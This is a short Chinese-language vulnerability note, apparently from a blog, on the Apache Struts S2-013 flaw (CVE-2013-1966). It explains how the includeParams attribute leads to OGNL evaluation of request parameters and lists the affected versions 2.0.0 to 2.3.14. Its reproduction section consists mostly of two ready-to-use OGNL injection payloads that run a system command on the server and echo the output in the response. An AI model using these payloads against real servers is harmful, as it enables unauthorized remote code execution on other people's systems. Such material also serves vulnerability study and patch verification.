010-(CVE-2013-1966)s2-013

# (CVE-2013-1966)s2-013

## 一、漏洞简介

* struts 的标签中 s:a 和 s:url 都有一个 includeParams 属性
* none – URL中不包含任何参数(默认)
* get – 仅包含URL中的GET参数
* all – 在URL中包含GET和POST参数
* 当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。
* 明明可以urldecode一下就知道params是啥了,但struts给OGNL解析了,就造成了任意代码执行

## 二、漏洞影响

Struts 2.0.0 – Struts 2.3.14

## 三、复现过程

### POC 就这2种poc

第一个光有回显

“`java
${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

“`

“`bash
${#_memberAccess[“allowStaticMethodAccess”]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream())}

“`

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容